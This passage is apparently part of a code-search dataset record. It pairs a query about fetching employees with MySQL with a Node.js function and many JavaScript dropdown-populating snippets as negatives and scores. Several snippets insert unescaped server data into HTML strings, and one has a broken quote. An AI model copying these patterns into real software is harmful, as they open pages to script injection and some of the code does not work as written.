if(select===null)\n alert(\"empty object retrieved from DOM parse\");\n if( select.length>1) {\n //alert(\"faculty already exist in under the domain button, no need to again add them\");\n return \"\";\n }\n for (let i = 0; i < arr.length; i++) {\n let option = document.createElement(\"OPTION\"), txt = document.createTextNode(arr[i]);\n option.appendChild(txt);\n option.setAttribute(\"value\", arr[i]);\n select.insertBefore(option, select.lastChild);\n }\n}", "function getFeltilizer(_catid,_id) {\n var id = '#' + _id\n $(id + ' option').remove();\n $(id).append(\"<option selected disabled value=''>Seç</option>\")\n $(id).removeAttr(\"disabled\")\n for (var i = 0; i < feltilizerArray.length; i++) {\n if (feltilizerArray[i].CATEGORYID == _catid) {\n $(id).append(\"<option value='\" + feltilizerArray[i].OBJECTID + \"'>\" + feltilizerArray[i].NAME + \"</option>\")\n }\n }\n}", "function createDropDown(ids) {\n // select dropdown by id\n var dropdown = d3.select(\"#selDataset\");\n ids.forEach(function (item, index) {\n addDropdownOption(item, item);\n });\n\n}", "populateEdificiNames() {\n services_1.Services.getAllBuildings().then(edificiResponse => {\n $.each(edificiResponse, (key, item) => {\n if (item.Stato === \"Disponibile\") {\n $('#selectEdificio').append(`<option name = \"${item.Nome}\" value = \"${item.ID_Edificio}\"> ${item.Nome}</option>`);\n }\n });\n });\n }", "function getDatabases() {\n var docUrl = cloudant_url + '/_all_dbs';\n ajaxGet(docUrl, parse);\n\n function parse(data) {\n var myData = JSON.parse(data);\n\n for(var dbs in myData) {\n $('#dbs-dropdown').append($('<option></option>').val(myData[dbs]).html(myData[dbs]));\n }\n }\n }", "function dropDown(names){\r\n //finding the element by ID in the HTML\r\n var selector = d3.select(\"#selDataset\")\r\n names.forEach(name => {\r\n selector.append(\"option\")\r\n .text(name)\r\n .property(\"value\", name);\r\n });\r\n optionChanged(names[0])\r\n}", "function getCarEngines() {\n var engines = document.getElementById(\"engine\");\n $.ajax({\n url: \"api/engine\",\n type: \"get\",\n dataType: \"json\",\n success: function (data) {\n console.log(data);\n engines.innerHTML = \"\";\n var query = \"\";\n for (var i = 0; i < data.length; i++) {\n query += \"<option name='engine' value=\" + data[i].id + \">\" + data[i].type + \"</option>\";\n }\n engines.innerHTML = query;\n }\n })\n}", "function dropDown() {\n // Use list of sample names to render the select options\n Plotly.d3.json(\"/names\", function (error, response) {\n if (error) return console.warn(error);\n\n let selection = document.getElementById(\"select-dataset\");\n for (let i = 0; i < response.length; i++) {\n let selectedOption = document.createElement(\"option\");\n selectedOption.text = response[i];\n selectedOption.value = response[i];\n selection.appendChild(selectedOption);\n }\n getData(response[0], createCharts);\n });\n}", "function CargarColletIDs(){\n\n var sql = \"SELECT ID_Colecciones,Nombre FROM Colecciones\";\n\n function queryDB(tx) {\n tx.executeSql(sql, [], querySuccess, errorCB);\n }\n\n function querySuccess(tx, results) {\n var len = results.rows.length;\n for (var i=0; i<len; i++)\n $('#SelectorColecciones').append('<option value=\"' + results.rows.item(i).ID_Colecciones + '\">' + results.rows.item(i).Nombre + '</option>');\n\n }\n\n function errorCB(err) {\n alert(\"Error al rellenar selector de coleciones: \"+err.code);\n }\n\n db.transaction(queryDB, errorCB);\n\n}", "function addDropdown() {\n console.log(\"inside addDropdown()\");\n \n // put list of sample names into an array\n sampleNames = [];\n queryURL = 'http://localhost:5000/names';\n // assign to sampleNames array\n d3.json(queryURL, function (error, response) {\n if (error) {\n console.log(error);\n }\n else {\n sampleNames = response;\n\n // Add each item as option to dropdown \n for (var i = 0; i < sampleNames.length; i++) {\n d3.select(\"#samplesDropdown\").append(\"option\")\n .attr(\"value\", sampleNames[i][\"name\"])\n .text(sampleNames[i]);\n }\n\n optionChanged(sampleNames[0]);\n\n }\n });\n\n}", "function populateDD(){\n dataPromise.then(results =>{\n console.log(results)\n var names = results.names\n var ddMenue = d3.select('#selDataset')\n for( var i=0; i < names.length; i++){\n ddMenue.append('option').text(names[i])\n }\n });\n}", "function getAllItemNames() {\n console.log(\"get name list\")\n $(\"#itemId\").empty();\n $.ajax({\n url: \"http://localhost:8080/Online-Biding-System/ItemServlet\",\n method: \"GET\",\n dataType: \"json\",\n data: {\n option: \"getItemID\"\n }\n }).done(function (res) {\n console.log(res);\n const selectedOption = \"<option selected disabled>Select A Item</option>\";\n $(\"#itemId\").append(selectedOption);\n for (const itemName of res) {\n const row = \"<option value=\" + itemName.itemID + \">\" + itemName.itemName + \"</option>\";\n $(\"#itemId\").append(row);\n }\n }).fail(function (xhr) {\n console.log(xhr);\n });\n}", "function loadComboBoxJogos() {\n $.ajax({\n url: 'Comanda',\n method: 'GET',\n data: {\n 'menu': 'CarregarJogos'\n },\n success: function (data) {\n if (data != \"\" && data != undefined) {\n data = JSON.parse(data);\n for (var i = 0; i < data.length; i++) {\n $('#jogos').append('<option value=' + data[i].id + '>' + data[i].jogo + '</option>');\n }\n }\n }\n });\n}", "function fillCategorySelectElement(){\n \n var selectElement = $('select'); //get select element container\n var newCategoryText = $(\"input[name='newCategoryName']\"); //get Text input for new category name\n \n newCategoryText.val(''); //reset new category text input\n \n var categories = new Categories(); //New Categories object\n \n selectElement.empty(); //Clear select element\n selectElement.append(\"<option value='' selected>Choose Category</option>\"); //Add default option\n \n //Get all categories from server and add them to the options list\n categories.getAll().done(function(){\n \n for(var i = 0; i < categories.categoriesList.length; i++){\n selectElement.append(\"<option value=\" + categories.categoriesList[i].id + \">\" + categories.categoriesList[i].name + \"</option>\");\n }\n }); //Get all categories request completed\n \n \n}//END fillCategorySelectElement function", "function get_Medicines_Details() {\n var strUrl = Service.get_Medicines_Details;\n $.ajax({\n type: \"GET\",\n url: strUrl,\n dataType: 'json',\n async: false,\n success: function (data) {\n $.each(data.specialIndentControllerDTOs, function (i, resData) {\n var sp_Reg_Medicine = \"<option value=\" + resData.cpi_serialid + \">\" + resData.cpi_parameter + \"</option>\";\n $(sp_Reg_Medicine).appendTo('#medicine_id');\n });\n },\n error: function (err) {\n console.error(\"error in get_Medicines_Details\" + JSON.stringify(err));\n }\n });\n $('#medicine_id').trigger(\"chosen:updated\");\n $(\"#medicine_id\").chosen();\n}", "function getDistrict()\n{\n // get district\n $.ajax({\n type: \"GET\",\n url: burl + \"/district/get/\" + $(\"#province\").val(),\n success: function (data) {\n var opts = \"\";\n for(var i=0; i<data.length; i++)\n {\n opts +=\"<option value='\" + data[i].id + \"'>\" + data[i].name + \"</option>\";\n }\n $(\"#district\").html(opts);\n }\n });\n}", "function populateDropDown(dropDownName, arrOfVals){\n arrOfVals.forEach(function(item) {\n $(dropDownName).append(\n \"<option value='\" + item + \"'>\" + item + \"</option>\"\n );\n });\n }", "function getMood() {\n $.get(\"/api/mood\", function(data) {\n var rowsToAdd = [];\n for (var i = 0; i < data.length; i++) {\n rowsToAdd.push(createAuthorRow(data[i]));\n }\n renderAuthorList(rowsToAdd);\n red.val(\"Passionate\");\n pink.val(\"Cheerful\");\n orange.val(\"Energetic\");\n yellow.val(\"Happy\");\n green.val(\"Calm\");\n blue.val(\"Determined\");\n purple.val(\"Romantic\");\n brown.val(\"Concerned\");\n white.val(\"Serene\");\n grey.val(\"Sad\");\n });\n }", "function getdropdown() {\n var dropdownMenu = d3.select(\"#selDataset\");\n\n d3.json(\"samples.json\").then(function (data) {\n let uniqueIds = data.names;\n console.log(uniqueIds);\n uniqueIds.forEach(element => dropdownMenu.append('option').property('value', element).text(element));\n })\n}", "function updateSelectAlbumsAdd() {\n $(\"#albumAddSelect\").empty();\n\n var values = $(\"#artists select[name='artists[]']\").map(function() { return $(this).val(); }).get();\n\n $.ajax({\n url: \"/albums/albumsfromlist\",\n type: \"get\",\n contentType: 'charset=UTF-8',\n\n data: { 'artists': values },\n success: function(result) {\n $.each(result, function(key, value) {\n $('#albumAddSelect').append('<option value=' + value.id + '>' + value.name + '</option>');\n })\n }\n });\n}", "function populateNames(data){\n var result = _.uniq(data);\n for (var x = 0; x < result.length; x++){\n var $opt = $('<option>');\n $opt.text(result[x]);\n $('#names').append($opt);\n }\n }", "function render_results (data) {\n // take the raw data and iterate through it\n $.each(data, function(index, value) {\n // create an option tag for each item\n // add the item's text and values to the option tag\n $('<option>').text(value[\"name\"]).data(value).appendTo('#carvoyant_dropdown')\n });\n // append each option tag to the results dropdown select tag\n}", "function getListOfDistrict_scene() {\n $(\"#districs_id\").empty();\n $(\"#districs_id_reg\").empty();\n\n loadingDistrictsMaster();\n var selectfirst = \"<option value='0'>Select District</option>\";\n $('#districs_id').append(selectfirst);\n $('#districs_id_reg').append(selectfirst);\n $.each(district, function (i, resData) {\n var districts = \"<option value=\" + resData.districtID + \">\" + resData.districtName + \"</option>\";\n $(districts).appendTo('#districs_id');\n $(districts).appendTo('#districs_id_reg');\n\n });\n $('#districs_id').trigger(\"chosen:updated\");\n $('#districs_id_reg').trigger(\"chosen:updated\");\n $('#districs_id').chosen();\n $('#districs_id_reg').chosen();\n}", "function getInterventions() {\n $http.get('/Administrator/GetInterventions').\n then(function (results) {\n var interventions = results.data;\n $scope.interventions = interventions;\n var select = document.getElementById(\"interventionSelect\");\n for (var i = 0; i < interventions.length; i++) {\n // $('#interventionSelect').append(\"<option value='\" + interventions[i].Id + \"'>Id:\" + interventions[i].Id + \" Name:\" + interventions[i].Name + \"</option>\");\n }\n \n }, function (error) {\n });\n }", "function generarSelect() {\n\n\n for (let i = 0; i < categorias.length; i++) {\n\n\n\n document.getElementById(\"cat\").innerHTML +=\n\n ` <option value=\"${i}\">${categorias[i].nombreCategoria}</option>`;\n\n\n }\n}", "function populateForm() {\n\n // Add an <option> tag inside the form's select for each product\n const selectElement = document.getElementById('items');\n for (let i = 0; i < Product.allProducts.length; i++) {\n const addOptions = document.createElement('option');\n addOptions.innerText = Product.allProducts[i].name;\n addOptions.value = Product.allProducts[i].name;\n selectElement.appendChild(addOptions);\n }\n\n}", "function insertOptions(){\n $.get(\"[URL_API]/routes/getTypePanne.php\",function(data){\n var json = JSON.parse(data);\n var options =\"\";\n for(var i in json){\n options += \"<option value='\"+json[i].id+\"'>\"+json[i].nom+\"</option>\";\n }\n $('#options').html(options);\n });\n}", "function buildTheDropdown(){\n\tconsole.log('inside buildTheDropdown');\n\tfor(counter=0;counter<foods.length;counter++)\n\t{\n\t\tconsole.log('inside loop:'+counter);\n\t\tvar optionString='';\n\t\toptionString+='<option value=''';\n\t\toptionString+=foods[counter];\n\t\toptionString+='\">';\n\t\toptionString+=foods[counter].toUpperCase();\n\t\toptionString+='</option>';\n\n\t\tconsole.log(optionString);\n\t\t$('#food_selector').append(optionString);\n\t}\n}", "function droplist() {\n\t$.post(\"classlist.hrd\", function(data) {\n\t\t$(\"#classselected\").html(classlist(data));\n\t});\n\t$.post(\"universitylist.hrd\", function(data) {\n\t\t$(\"#unvselected\").html(unvlist(data));\n\t});\n}", "async function populateCategoryDropDown() {\n category.innerHTML = ``;\n deleteCategorySelector.innerHTML = ``;\n const url = \"/api/produktkategorier\";\n fetch(url)\n .then(res => res.json())\n .then(res =>{\n for(let cat of res) {\n category.innerHTML += `<option value=\"${cat}\">${cat}</option>`;\n deleteCategorySelector.innerHTML += `<option value=\"${cat}\">${cat}</option>`;\n }\n });\n}", "function renderMenu(){\n $.get(\"/api/masterPlants/\", function(mData){\n for (var i=0; i<mData.length; i++){\n var newOption = $(\"<option>\").text(mData[i].common_name).addClass(\"drop-down\");\n newOption.attr({\"value\":mData[i].id});\n $(\"#drop-down\").append(newOption);\n } \n })\n }", "function fetchBreeds(selectedBreed = 'all') {\n const breedUrl = 'https://dog.ceo/api/breeds/list/all';\n fetch(breedUrl)\n .then(resp => resp.json())\n .then(results => insertBreeds(results))\n}", "function buildNameOptions(container, nameData) {\n var tempContainer = $('<div/>');\n tempContainer.append($('<option/>')\n .text('(select one...)'));\n\n nameData.forEach(function(artist) {\n tempContainer.append($('<option/>')\n .attr('value', artist.id)\n .text(artist.name)\n );\n });\n\n container.html(tempContainer.html());\n }", "function populateForm() {\n const selectElement = document.getElementById('items');\n for (let i in Product.allProducts) {\n let option = document.createElement('option');\n option.textContent = Product.allProducts[i].name;\n option.id = i; \n selectElement.appendChild(option);\n } \n}", "function get_mt_brands() {\n\n var brands = [\n {'description': 'Mazak', 'selected': false, 'text': 'Yamazaki Mazak', 'value': '1'},\n {'description': 'Goodway', 'selected': false, 'text': 'Yama Seiki Goodway ', 'value': '2'},\n {'description': 'Chevalier', 'selected': false, 'text': 'Chevalier', 'value': '3'},\n {'description': 'DMG Mori', 'selected': false, 'text': 'DMG Mori', 'value': '4'},\n {'description': 'Kasuga Seiki', 'selected': false, 'text': 'Kasuga Seiki', 'value': '5'},\n {'description': 'Datron Dynamics', 'selected': false, 'text': 'Datron Dynamics', 'value': '6'},\n {'description': 'Mitsubishi', 'selected': false, 'text': 'Mitsubishi Heavy Ind. ', 'value': '7'},\n {'description': 'Amada', 'selected': false, 'text': 'Amada', 'value': '8'}\n ];\n\n $.ajax({\n url: 'https://proxy.uretimosb.com/SlimProxyBoot.php',\n data: {\n url: 'fillComboBox_syscountrys',\n language_code: $(\"#langCode\").val(),\n component_type: 'ddslick'\n },\n type: 'GET',\n dataType: 'json',\n //data: 'rowIndex='+rowData.id,\n success: function (data, textStatus, jqXHR) {\n if (data.length !== 0) {\n\n// console.log(data);\n $('#machine_brands').ddslick('destroy');\n $('#machine_brands').ddslick({\n data: brands,\n width: '100%',\n height: '500%',\n background: false,\n selectText: window.lang.translate(\"Please select a brand from list...\"),\n imagePosition: 'right',\n onSelected: function (selectedData) {\n\n $(\"#selected_mt_brand\").empty();\n $(\"#selected_mt_series\").empty();\n\n $('#machine_series').ddslick('destroy');\n\n $(\"#show_sel_mt_btn\").css('display', 'none');\n $(\"#show_sel_mt_btn\").css('visibility', 'hidden');\n $(\"#reset_sel_mt_btn\").css('display', 'none');\n $(\"#reset_sel_mt_btn\").css('visibility', 'hidden');\n\n $(\"#selected_mt_brand\").val(selectedData.selectedData.text);\n $(\"#selected_mt_brand\").append(selectedData.selectedData.text);\n\n get_mt_series();\n }\n });\n } else {\n console.error('\"machine tools brands\" servis datası boÅŸtur!!');\n }\n },\n error: function (jqXHR, textStatus, errorThrown) {\n console.error('\"machine tools brands\" servis hatası->' + textStatus);\n }\n });\n\n}", "function addCategoriesToForm() {\n fetch(CATEGORIES_URL)\n .then(res => res.json())\n .then(categories => {\n categories.forEach(category => {\n let select = document.querySelector('.form-select')\n let option = document.createElement('option')\n option.value = category.id\n option.textContent = category.name\n select.appendChild(option)\n\n let selectEdit = document.querySelector('.form-select-edit')\n let optionEdit = document.createElement('option')\n\n optionEdit.value = category.id\n optionEdit.textContent = category.name\n\n selectEdit.appendChild(optionEdit)\n })\n })\n}", "function populateData(http) {\n // parse the http response data into JSON object \n data = JSON.parse(http.responseText);\n \n // load all the images initially\n showImages(data.options);\n \n //populate 1st select statement\n populateSelect(data, data.name); \n}", "function get_Consumbles_Details() {\n var strUrl = Service.getConsumblesDropDownDetails\n $.ajax({\n type: \"GET\",\n url: strUrl,\n dataType: 'json',\n async: false,\n success: function (data) {\n $.each(data.specialIndentControllerDTOs, function (i, resData) {\n \tvar index = i + 1;\n var sp_Reg_Medicine = \"<option value=\" + index+ \">\" + resData.cpi_parameter + \"</option>\";\n $(sp_Reg_Medicine).appendTo('#consumable_id');\n });\n },\n error: function (err) {\n console.error(\"error in get_Consumbles_Details\" + JSON.stringify(err));\n }\n\n });\n $('#consumable_id').trigger(\"chosen:updated\");\n $(\"#consumable_id\").chosen();\n}", "function autocomplete() {\n jQuery(function() {\n var names = baby.Name.toString().split(\",\");\n jQuery(\"#inputfordropdown\").autocomplete({\n source: names\n }); //testing SVC git\n });\n }" ]
[ "0.642344", "0.6196069", "0.6075778", "0.6059243", "0.6040522", "0.60030115", "0.60014063", "0.5974513", "0.59692574", "0.5958459", "0.594747", "0.59421784", "0.5941593", "0.588962", "0.58869934", "0.5859928", "0.58532506", "0.58408034", "0.5838502", "0.5837391", "0.58042634", "0.5790355", "0.57862014", "0.57813615", "0.5775283", "0.5772236", "0.5760975", "0.5754344", "0.57499593", "0.5747859", "0.5746964", "0.5738179", "0.57329667", "0.5725338", "0.5718399", "0.5718121", "0.5710732", "0.5709633", "0.569991", "0.5692888", "0.5685772", "0.56749797", "0.5661306", "0.5652484", "0.5637502", "0.56309605", "0.5628849", "0.5611838", "0.56105566", "0.56103015", "0.5598525", "0.5583958", "0.5579445", "0.5576337", "0.5564193", "0.55602854", "0.5559835", "0.55521804", "0.5550012", "0.55493885", "0.55440265", "0.5543848", "0.5539595", "0.55395406", "0.5537061", "0.5532742", "0.5531247", "0.553119", "0.55296713", "0.55259705", "0.55223715", "0.5518123", "0.5511095", "0.55099344", "0.55083334", "0.5506114", "0.55040604", "0.5499527", "0.5498683", "0.54981905", "0.549417", "0.5487469", "0.5481607", "0.5465448", "0.54642797", "0.5459578", "0.5457683", "0.5455813", "0.5452167", "0.54521304", "0.54487675", "0.5444308", "0.54409146", "0.5440402", "0.54376686", "0.54350334", "0.54341173", "0.5431567", "0.54310125", "0.5429793" ]
0.5641042
44
function call a mysql query to select the id, first name, last name, and title of all employees to populate the dropdown in the add form
function getEmployees(res, mysql, context, complete) { mysql.pool.query("SELECT id, fname, lname, title FROM Employees", function (error, results, fields) { if (error) { res.write(JSON.stringify(error)); res.end(); } context.employees = results; //define the results as "employees" complete(); //call the complete function to increase callbackcount }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getEmployees() {\n const query = 'SELECT CONCAT (employee.first_name, \" \", employee.last_name) as name FROM employee'\n\n connection.query(query, (err, res) => {\n if (err) throw err;\n\n addEmployee(res)\n })\n}", "setupEmployeesInListbox(){\r\n\t\t\r\n\t\tvar Employees = this.Employees['employees'], opt = '', index = this.Employees['EmployeeID'], s = '';\r\n\t\tvar tdObj = document.getElementById('SalesPerson');\r\n\t\tfor(let i = 0; i < Employees.length; i += 1){\r\n\t\t\tlet anEmployee = Employees[i];\r\n\t\t\tlet empId = anEmployee['EmployeeID'];\r\n\t\t\tlet empName = anEmployee['EmployeeName'];\r\n\t\t\topt += '<option value=\"' + empId + '\"';\r\n\t\t\tif(index == empId){\r\n\t\t\t\topt += ' selected';\r\n\t\t\t}\r\n\t\t\topt += '>' + empName + '</option>';\t\t\t\r\n\t\t}\r\n\t\ts = '<select id=\"empList\">' + opt + '</select>';\r\n\t\ttdObj.innerHTML = s;\r\n\t}", "function showEmployees() {\n //query consult select\n connection.query(`SELECT employee.id, employee.first_name,employee.last_name,role.title AS job_title,role.salary,\n CONCAT(manager.first_name ,\" \", manager.last_name) AS Manager FROM employee LEFT JOIN role ON employee.role_id=role.id LEFT JOIN employee manager ON manager.id = employee.manager_id`, (err, res) => {\n \n \n if (err) throw err;\n \n if (res.length > 0) {\n console.log('\\n')\n console.log('** Employees **')\n console.log('\\n')\n console.table(res);\n }\n //calls the menu to display the question again\n menu();\n });\n \n }", "function viewEmployee() {\n console.log(\"Viewing all employees\\n\");\n\n var results=connection.query\n (\"SELECT employee.id, employee.first_name, employee.last_name, role.title, department_id AS department, role.salary, employee.manager_id FROM employee, role where employee.role_id = role.id ;\",\n function(error,results)\n {\n\n if(error) throw error;\n\n \n console.table(results)\n console.log(\" All Employees \\n\");\n mainMenu();\n \n })\n\n }", "function getAnalysts() {\n let data = [\n { pjtId: '', },\n ];\n var pagina = 'ProjectReports/listAnalysts';\n var par = '[{\"parm\":\"\"}]';\n var tipo = 'JSON';\n var selector = putAnalyst;\n fillField(pagina, par, tipo, selector);\n \n function putAnalyst(dt) {\n $.each(dt, function (v, u) {\n let H = `<option value=\"${u.emp_id}\">${u.emp_fullname}</option>`;\n findana.append(H);\n });\n }\n\n /* findana.unbind('change').on('change', function () {\n deep_loading('O');\n let pjtId = $(this).val();\n }); */\n}", "function viewEmployees() {\n var query = \"SELECT CONCAT(employees.first_name, ' ', employees.last_name) as employee_name, roles.title, departments.name, employees.id FROM employees LEFT JOIN roles on employees.role_id = roles.id LEFT JOIN departments ON departments.id = roles.department_id \";\n con.query(query, function(err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log(\"\\n\" + \"|| Employee: \" + res[i].employee_name + \"|| Title: \" + res[i].title + \"|| Department: \" + res[i].name + \"|| ID: \" + res[i].id);\n }\n runManager();\n });\n }", "function getEmployees() {\n var query = `SELECT e.id, e.first_name, e.last_name, r.title Role, d.name AS department , r.salary,\n concat( manager.first_name,\" \",manager.last_name ) Manager\n FROM \n employee e\n left join role r\n on e.role_id = r.id\n left join department d \n on r.department_id = d.id\n left join employee manager on e.manager_id = manager.id;`\n\n connection.query(query, function (err, res) {\n if (err) throw err;\n // Log all results of the SELECT statement\n console.table(res);\n main();\n\n });\n\n}", "function addEmployee() {\n connection.query(\"SELECT * FROM persona\", function(err, res) {\n if (err) \n throw err;\n console.log(results);\n inquirer.prompt([\n {\n name: \"firstName\",\n type: \"input\",\n message: \"What is the employees First Name?\"\n },\n {\n name: \"lastName\",\n type: \"input\",\n message: \"What is the employees Last Name?\" \n },\n {\n name: \"perosonaId\",\n type: \"list\",\n message: \"What will be the employee's work Persona?\",\n choices: [\n \"Salesperson\",\n \"Sales Manager\",\n \"Engineer\",\n \"Account Executive\",\n \"Vice President\",\n \"Regional Manager\"\n ]\n }\n ])\n })\n}", "function putEmployeeInfo(res,selector){\n\t\tvar name=res['fname'].charAt(0).toUpperCase() + res['fname'].slice(1);\n\t\tif(res['mname']!=null)\n\t\t\tname=name+\" \"+res['mname'];\n\t\tif(res['lname']!=null)\n\t\t\tname=name+\" \"+res['lname'];\n\t\tvar district=res['district'].charAt(0).toUpperCase() + res['district'].slice(1);\n\t\tvar state=res['state'].charAt(0).toUpperCase() + res['state'].slice(1);\n\t\tvar len=res['contactNo'].length;\n\t\tvar contact=\"\";\n\t\tfor(i=0;i<len;i++){\n\t\t\tcontact=contact+res['contactNo'][i]['contactNo']+\", \"\n\t\t}\n\t\tcontact=contact.substring(0,contact.length-1);\n\t\tvar values=[res['empId'],name,res['dob'],res['post'].charAt(0).toUpperCase()+res['post'].slice(1),\n\t\t\t\t \tres['district'].charAt(0).toUpperCase() + res['district'].slice(1)+\" \"+\n\t\t\t\t \tres['state'].charAt(0).toUpperCase() + res['state'].slice(1),\n\t\t\t\t \tres['joiningDate'],res['retirementDate'],contact];\n\t\thead=[\"Employee Id:\",\"Name:\",\"Date of Birth\",\"Post\",\"Belongs To:\",\n\t\t\t\t \"Date of Joining:\",\"Date of Retirement:\",\"Contact No:\"];\n\t\tlen=values.length;\n\t\tvar dataString=\"<div class='col-lg-5'>\";\n\t\tfor(i=0;i<len/2;i++){\n\t\t\tdataString=dataString+\"<div class='row'>\"+\n\t\t\t\t\t\t\t\t\t\"<div class='col-lg-4'><h6 class='pull-right'><b>\"+head[i]+\"</b></h6></div>\"+\n\t\t\t\t\t\t\t\t\t\"<div class='col-lg-8'><h6>\"+values[i]+\"</h6></div>\"+\n\t\t\t\t\t\t\t\t \"</div>\"\n\t\t}\n\t\tdataString=dataString+\"</div><div class='col-lg-7'>\";\n\t\tfor(i=4;i<len;i++){\n\t\t\tdataString=dataString+\"<div class='row'>\"+\n\t\t\t\t\t\t\t\t\t\"<div class='col-lg-4'><h6 class='pull-right'><b>\"+head[i]+\"</b></h6></div>\"+\n\t\t\t\t\t\t\t\t\t\"<div class='col-lg-8'><h6>\"+values[i]+\"</h6></div>\"+\n\t\t\t\t\t\t\t\t \"</div>\"\n\t\t}\n\t\tdataString=dataString+\"</div>\";\n\t\t$(selector).append(dataString);\n\t}", "function viewAllEmployees() {\n connection.query(\n 'SELECT e.id, e.first_name AS First_Name, e.last_name AS Last_Name, title AS Title, salary AS Salary, name AS Department, CONCAT(m.first_name, \" \", m.last_name) AS Manager FROM employee e LEFT JOIN employee m ON e.manager_id = m.id INNER JOIN role r ON e.role_id = r.id INNER JOIN department d ON r.department_id = d.id',\n function (err, res) {\n if (err) throw err;\n console.table(\"All Employees:\", res);\n init();\n }\n );\n}", "findAllEmployee() {\n\t\tconst query = `\n\t\tSELECT \n\t\temployee.id,\n (CONCAT(employee.first_name, ' ', employee.last_name)) AS staff_name\n\t\tFROM employee\n\t\t`;\n\t\treturn this.connection.query(query);\n\t}", "function viewAllEmployeesByManager() {\n const query3 = 'select employee.id, employee.first_name,employee.last_name FROM employee;';\n connection.query(query3, (err, res) => {\n if (err) throw err;\n const managerChoices = res.map((data) => ({\n value: data.id, name: `${data.first_name} ${data.last_name}`,\n }));\n // console.table(res);\n // console.log(managerChoices);\n promptManager(managerChoices);\n });\n}", "function addEmployee() {\n var inputFields = [$('name'), $('title'), $('extension')];\n var isValidData = true;\n inputFields.forEach(function (ele) {\n var id = ele.id || '';\n if (id.length) {\n var sts = isVaild(ele);\n isValidData = isValidData && sts['isValid'];\n ele.nextElementSibling.innerText = sts['errorMsg'];\n }\n });\n if (!isValidData)\n return;\n var emp_id = String(Math.round(Math.random() * Math.pow(10, 10))); // Generate an unique id for each employee\n var newEmployee = [];\n newEmployee.push(emp_id);\n inputFields.forEach(function (ele) {\n newEmployee.push(ele.value);\n ele.value = '';\n });\n employeeData.push(newEmployee);\n showEmployees();\n }", "function createEmployee(){\n\n\n //Get First name from the submission\n first_name=document.getElementsByName(\"first_name\")[0].value;\n\n console.log(\"DEBUG-FIRST NAME: \"+first_name+'\\n');\n\n //Get Last Name from the submission\n last_name=document.getElementsByName(\"last_name\")[0].value;\n\n console.log(\"DEBUG-LAST NAME: \"+last_name+'\\n');\n\n //Get the Department\n var e = document.getElementById(\"dept_select\");\n var strDept = e.options[e.selectedIndex].text;\n\n\n //Get the current date\n var today = new Date();\n var dd = String(today.getDate()).padStart(2, '0');\n var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!\n var yyyy = today.getFullYear();\n today = mm + '/' + dd + '/' + yyyy;\n\n\n //Creating Employee ID Variable w/random num\n employeeId=generate_id();\n\n //Check to see if it's unique\n while(emp_ids.indexOf(employeeId)>-1){\n console.log(\"ID already exists, making another\");\n employeeId=generate_id();\n }\n\n total_employees+=1;\n\n employee={\"first_name\":first_name,\n \"last_name\":last_name,\n \"employee_id\":employeeId,\n \"hire_date\":today,\n \"total_employees\":total_employees};\n\n //Append employee to employees array\n employees.push(employee);\n\n //Append emp_id to list of unique ids for future checking\n emp_ids.push(employeeId);\n\n\n //Debug check to see if our employee was created\n console.log(employee);\n\n //Construct and send our request\n $.ajax({\n url:\"test.php\",\n type:\"POST\",\n contentType:\"application/json\",\n data:JSON.stringify(employee),\n success:function(response){\n console.log('Sucessfully sent to php backend');\n },\n error:function(response){\n console.log(\"This was a complete and spectacular failure\");\n console.log(response);\n }\n });\n\n //Update most recently Added employee\n document.getElementById('Employee Added').innerHTML = \"Employee Added\";\n document.getElementById('name').innerHTML = \"Name: \"+first_name+\",\"+last_name;\n document.getElementById('department').innerHTML =\"Department: \"+ strDept;\n document.getElementById('emp_id').innerHTML = \"ID: \"+employeeId.toString();\n document.getElementById('hire_date').innerHTML = \"Hire Date: \"+today;\n document.getElementById('total_employees').innerHTML = \"Total Employees: \"+employees.length.toString();\n}", "function viewAllEmployees() {\n connection.query(\n `SELECT e.id, e.first_name, e.last_name, r.title, d.department, r.salary, concat(m.first_name, ' ', m.last_name) AS manager \n FROM employee_tracker_db.employee AS e \n\t\tLEFT JOIN employee_tracker_db.employee AS m ON e.manager_id = m.id \n JOIN employee_tracker_db.role AS r ON e.role_id = r.id\n JOIN employee_tracker_db.department AS d ON r.department_id = d.id;`,\n function(err, res) {\n if (err) throw err;\n console.log(\"\\n\");\n //console.table makes the table in the command line and allEmployees is the array at the top of the page \n console.table(res);\n //go back to inital\n initialQuestion();\n });\n}", "function viewEmployees() {\n console.log('~~~~~~~~~~ All Employees ~~~~~~~~~~')\n const query = `SELECT employees.id, employees.first_name as 'first name', employees.last_name as 'last name', \n roles.title, departments.name as department, roles.salary, \n concat(m.first_name, ' ', m.last_name) as manager \n FROM employees \n INNER JOIN roles ON employees.role_id = roles.id\n INNER JOIN departments ON roles.department_id = departments.id \n LEFT JOIN employees m ON m.id = employees.manager_id`;\n\n db.promise().query(query)\n .then((results) => {\n console.table(results[0])\n })\n .catch('error getting the rows')\n .then(() => {\n menu();\n })\n}", "function viewEmployees() {\r\n connection.query(\"SELECT employee.first_name, employee.last_name, role.title, role.salary, department.name, CONCAT(e.first_name, ' ' ,e.last_name) AS Manager FROM employee INNER JOIN role on role.id = employee.role_id INNER JOIN department on department.id = role.department_id left join employee e on employee.manager_id = e.id;\", \r\n function(err, res) {\r\n if (err) throw err\r\n console.table(res)\r\n questions();\r\n })\r\n}", "function viewAllEmployees(promptUser) {\n connection.query(`SELECT emp.id, emp.first_name, emp.last_name, role.title, department.name AS department, role.salary, concat(mng.first_name,' ',mng.last_name) as manager FROM employee emp LEFT JOIN role ON emp.role_id = role.id LEFT JOIN department ON role.department_id = department.id\n LEFT JOIN employee mng ON emp.manager_id = mng.id ORDER BY emp.id`, function (err, data) {\n if (err) throw err;\n console.table(\"\\n\",data);\n promptUser();\n })\n}", "function getEmployeeBy() {\n try {\n const select = document.querySelector(\"#showEmployeeBy\");\n const showEmployeeByCategory = document.querySelector(\n \"#showEmployeeByCategory\"\n );\n removeOptions(showEmployeeByCategory);\n const departments = [\"Programming\", \"Marketing\", \"Sales\", \"Human Resource\"];\n const positions = [\"Manager\", \"Programmer\", \"Sales Assistant\", \"Technical\"];\n\n if (select.options[select.selectedIndex].value == \"department\") {\n for (dept in departments) {\n showEmployeeByCategory.appendChild(new Option(departments[dept]));\n }\n } else if (select.options[select.selectedIndex].value == \"position\") {\n for (pos in positions) {\n showEmployeeByCategory.appendChild(new Option(positions[pos]));\n }\n } else {\n }\n } catch (e) {\n console.log(e);\n 